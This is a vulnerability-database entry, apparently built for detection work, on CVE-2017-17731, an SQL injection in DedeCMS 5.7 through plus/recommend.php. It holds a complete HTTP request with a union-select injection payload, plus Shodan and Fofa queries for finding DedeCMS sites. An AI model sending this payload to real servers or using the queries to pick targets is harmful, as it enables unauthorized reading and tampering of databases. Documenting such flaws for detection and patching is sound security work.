🔙 목록으로 돌아가기

CVE-2017-17731: DedeCMS 5.7 - SQL Injection

TitleDedeCMS 5.7 - SQL Injection
Authorj4vaovo
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationApply the latest security patch or upgrade to a newer version of DedeCMS to mitigate the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.84456
CVE IDCVE-2017-17731
CWE IDCWE-89
Shodan Queryhttp.html:"DedeCms"cpe:"cpe:2.3:a:dedecms:dedecms"http.html:"dedecms"
Fofa Queryapp="DedeCMS"app="dedecms"body="dedecms"
Tags cve cve2017 sqli dedecms vkev vuln

🔍 Vulnerability Description

DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.

🌐 HTTP Request

GET /plus/recommend.php?action&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,md5(3504),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-17731.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-17731.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A